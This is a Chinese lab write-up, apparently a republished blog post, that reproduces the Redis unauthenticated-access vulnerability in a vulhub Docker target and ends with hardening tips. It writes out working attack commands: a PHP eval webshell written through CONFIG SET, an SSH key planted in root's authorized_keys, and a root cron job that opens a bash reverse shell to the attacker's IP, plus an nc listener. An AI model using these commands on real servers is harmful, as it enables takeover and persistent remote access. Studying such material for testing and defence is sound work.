Redis未授权漏洞复现

这篇具有很好参考价值的文章主要介绍了Redis未授权漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录
  • Redis
  • 漏洞的产生条件及利用
  • Redis环境搭建
  • 漏洞复现
    • 利用Redis写入Webshell
    • 利用Redis写入SSH公钥
    • 利用Redis写入计划任务
  • Redis安全防护

Redis

redis(remote dictionary server)是一个key-value存储系统,是跨平台的非关系型数据库。

redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的安全策略限制,redis服务会暴露在服务器公网上。如果此时又没有设置密码认证(默认为空),会导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据。

漏洞的产生条件及利用

漏洞的影响版本

redis 2.x,3.x,4.x,5.x

漏洞的产生条件

1、redis绑定在0.0.0.0:6379,没有采用相关的安全策略限制,直接暴露在公网。

2、没有设置密码认证,可以免密码远程登录redis服务。

漏洞如何利用

1、利用redis写入webshell

2、利用redis写入ssh公钥

3、利用redis写入计划任务

Redis环境搭建

第一种方式:下载安装符合漏洞版本的Redis并解压,进入到Redis目录中,执行make,通过make编译的方式来安装。

第二种方式:使用docker搭建vulhub靶场环境。

我采用的是第二种dokcer的方式搭建redis环境,比较方便。

1、安装docker:curl -s https://get.docker.com/ | sh

2、安装docker-compose:apt install docker-compose

3、安装vulhub:git clone https://gitee.com/puier/vulhub.git

vulhub靶场环境搭建参考:https://www.cnblogs.com/zovt/p/16337343.html

进入到目标主机vulhub的redis的漏洞目录下,启动漏洞环境。

cd ./vulhub/redis/4-unacc/
docker-compose up -d
docker-compose ps

可以看出redis服务6379已经启动。

Redis未授权漏洞复现

nmap扫描到靶机的6379端口为open状态。

Redis未授权漏洞复现

如果nmap扫描到的6379端口没有开放,需要关闭防火墙,云主机还要在安全组开放端口。

漏洞复现

环境:Ubuntu靶机IP:192.168.88.150;Kali攻击机IP:192.168.88.128

利用Redis写入Webshell

服务端的redis默认没有设置密码认证,在攻击机上能用redis-cli可以直接登陆连接。若服务端存在Web服务,并且知道Web目录的路径,那么可以向该目录写入webshell,然后使用蚁剑之类的工具连接getshell。

攻击机安装redis-cli远程连接工具:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make

无密码登录命令:

redis-cli -h 目标主机ip

Redis未授权漏洞复现

可以查看requirepass参数,默认情况下requirepass参数是空的,也就是说默认情况下是无密码验证的,这就意味着无需通过密码验证就可以连接到redis服务。这是未授权访问的利用的条件之一。

Redis未授权漏洞复现

由于靶场没有开启web服务器,这里向/tmp目录写入一个文件。

将dir设置为/tmp目录,意为将指定本地数据库存放目录设置为/tmp。将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php。再执行save命令就可以写入一个路径为/tmp/shell.php的文件。

Redis未授权漏洞复现

如果知道web目录的绝对路径,将tmp目录替换为如/var/www/html,这样就可以在服务器端的/var/www/html下写入一个webshell文件。

写webshell的时候,可以使用:

set webshell "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。

进入靶机的docker环境查看,如下图所示说明webshell写入成功。

Redis未授权漏洞复现

利用Redis写入SSH公钥

通过redis向目标服务器写入ssh公钥,将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,本地客户端通过导入对应私钥进行登陆。

条件是服务端存在.ssh目录并且有写入的权限,并且需要redis是root启动的情况下使用,因为非root权限无法进入/root目录。

首先在攻击机的/root/.ssh目录里生成ssh公钥key:

cd ~/.ssh
ssh-keygen -t rsa

Redis未授权漏洞复现

接着将公钥写入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合):

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

连接目标服务器上的redis服务,将保存的公钥key.txt写入redis数据库:

cat /root/.ssh/key.txt | redis-cli -h 192.168.88.150 -x set pkey

使用redis-cli -h ip,将文件写入:

Redis未授权漏洞复现

连接目标机器redis,设置redis的路径为/root/.ssh/和保存文件名为authorized_keys,然后保存。

redis-cli -h 192.168.88.150
config set dir /root/.ssh
config set dbfilename authorized_keys
save

设置路径为/root/.ssh/时报错:(error) ERR Changing directory: Permission denied

查阅相关文章,说redis并不是以root启动的,可能需要修改docker-compose.yml配置以root用户来运行容器、参考文章docker-compose privileged root,尝试了设置privileged:true让容器以root权限运行,但是修改配置以后,重新构建环境失败。

还是安装一个存在漏洞版本的redis比较好,这样可以更好地复现漏洞利用过程。

利用Redis写入计划任务

和写webshell和ssh公钥的原理类似,连接服务端的Redis,写入反弹shell的计划任务:

config set dir /var/spool/cron/crontabs
config set dbfilename root
set fbash "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.88.128/1234 0>&1\n\n\n"
save

然后kali上监听1234端口:

nc -lvp 1234

综上无法利用的原因可能有:redis不是以root权限启动,没有可以写入文件的路径或权限,文件权限不足等。

Redis安全防护

1、禁止监听在公网地址

2、修改默认的监听端口

3、开启redis安全认证

4、禁止用root权限启动

5、设置redis配置文件的访问权限


若有错误,欢迎指正!o( ̄▽ ̄)ブ文章来源地址https://www.toymoban.com/news/detail-844575.html

到了这里,关于Redis未授权漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 数据库安全-Redis未授权&Hadoop&Mysql&未授权访问&RCE 漏洞复现

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口: 默认端口统

    2024年02月03日
    浏览(37)
  • web渗透测试漏洞复现:Elasticsearch未授权漏洞复现

    Elasticsearch 是一款 Java 编写的企业级搜索服务,它以分布式多用户能力和全文搜索引擎为特点,采用 RESTful web 接口。这款搜索引擎由 Java 开发,作为 Apache 许可下的开源软件发布,是流行的企业级搜索引擎之一。Elasticsearch 的增删改查操作都通过 http 接口完成。开源的版本可能

    2024年04月10日
    浏览(35)
  • springboot未授权漏洞(漏洞复现Springboot未授权访问及修复)

    Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进

    2024年02月05日
    浏览(37)
  • 【Elasticsearch 未授权访问漏洞复现】

    ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完。由于Elasticsearch授权

    2024年02月05日
    浏览(42)
  • 漏洞复现 - - - Springboot未授权访问

    目录 一, 未授权访问是什么? 二,Actuator介绍 三,怎么进行漏洞发现呢? 四,实验环境 五,漏洞复现 1.通过访问env获取全部环境属性 2.通过/trace提供基本的http请求跟踪信息 3.利用反序列化进行getshell  1.启动脚本 2.开启监听  3.使用bp抓取一个/env的包 4.修改POST数据 未授权

    2024年01月20日
    浏览(33)
  • Druid未授权访问 漏洞复现

    Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。 1、通过目录扫描或手工输入路径http://www.xxxx.com/druid/index.html,发现存在Druid 未授权访

    2024年02月11日
    浏览(35)
  • 漏洞复现 || Hadoop未授权访问反弹Shell漏洞

    技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或

    2024年02月16日
    浏览(31)
  • zookeeper未授权漏洞复现及处理

    一、漏洞详情 Zookeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。 Zookeeper的默认开放端口是

    2024年02月07日
    浏览(68)
  • 【漏洞复现】StarRocks MPP数据库未授权访问漏洞

            StarRocks 是一个MPP数据库,具备水平在线扩缩容,金融级高可用,兼容 MySQL 5.7 协议和 MySQL 生态,提供全面向量化引擎与多种数据源联邦查询等重要特性。StarRocks 致力于在全场景 OLAP 业务上为用户提供统一的解决方案,适用于对性能,实时性,并发能力和灵活性有

    2024年01月17日
    浏览(60)
  • 漏洞复现 | Apache Shiro 授权绕过漏洞(CVE-2022-32532)

    0x00 漏洞描述         Apache Shiro 是一套用于执行认证、授权、加密和会话管理的 Java 安全框架。2022年06月29日 APache 官方发布了一则关于 Apache Shiro 的安全通告,Apache Shiro 1.9.1 前的版本 RegExPatternMatcher 在使用带有 “.” 的正则时,可能会导致权限绕过。漏洞源于 RegExPatter

    2024年02月02日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包